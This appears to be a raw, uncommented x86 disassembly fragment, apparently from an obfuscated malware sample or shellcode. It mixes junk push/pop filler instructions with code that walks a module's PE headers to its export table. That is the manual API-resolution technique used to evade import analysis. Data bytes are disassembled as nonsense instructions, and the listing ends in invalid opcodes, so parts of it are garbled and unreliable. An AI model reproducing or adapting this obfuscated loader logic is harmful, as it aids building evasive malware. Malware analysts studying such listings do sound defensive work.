add ecx, 0x1545f
pop ecx
push edx
push esi
add esp, 4
or edx, 0x8d5f
or edx, 0x5cdb
pop edx
push eax
sub eax, 0xb958
and eax, 0x9437
or eax, 0x71c3
pop eax
cmp dword [ebp - 0x894], 0
jne 0x1ca0841
push edx
push esi
add esp, 4
and edx, 0x81ca
jmp 0x1ca0813
and edx, 0x105af
or edx, 0x35e7
pop edx
push edx
push edi
add esp, 4
sub edx, 0x5aa5
xor edx, 0xbc94
pop edx
mov dword [ebp - 0xbf8], 0
jmp 0x1ca1369
push esi
or esi, 0x7f52
or esi, 0x18211
add esi, 0x1034b
jmp 0x1ca0859
pop esi
push ecx
push eax
add esp, 4
call 0x1ca086f
add byte [esi + 0x42], cl
cmp al, 0x37
cmp byte [edi], dh
inc ebx
xor al, 0x41
inc ebp
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x894]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d0], edx
mov dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x1980], 0
jne 0x1ca08b2
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x1ca0ba3
mov edx, dword [ebp - 0x1980]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1984], eax
jne 0x1ca08da
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x1ca0ba3
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1984]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1988], edx
cmp dword [ebp - 0x1988], 0
jne 0x1ca090c
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], eax
jmp 0x1ca0ba3
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [ebp - 0x1988]
mov dword [ebp - 0x898], ecx
jne 0x1ca0931
mov edx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], edx
jmp 0x1ca0ba3
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1f58], ecx
invalid
xchg ebp, eax
invalid
invalid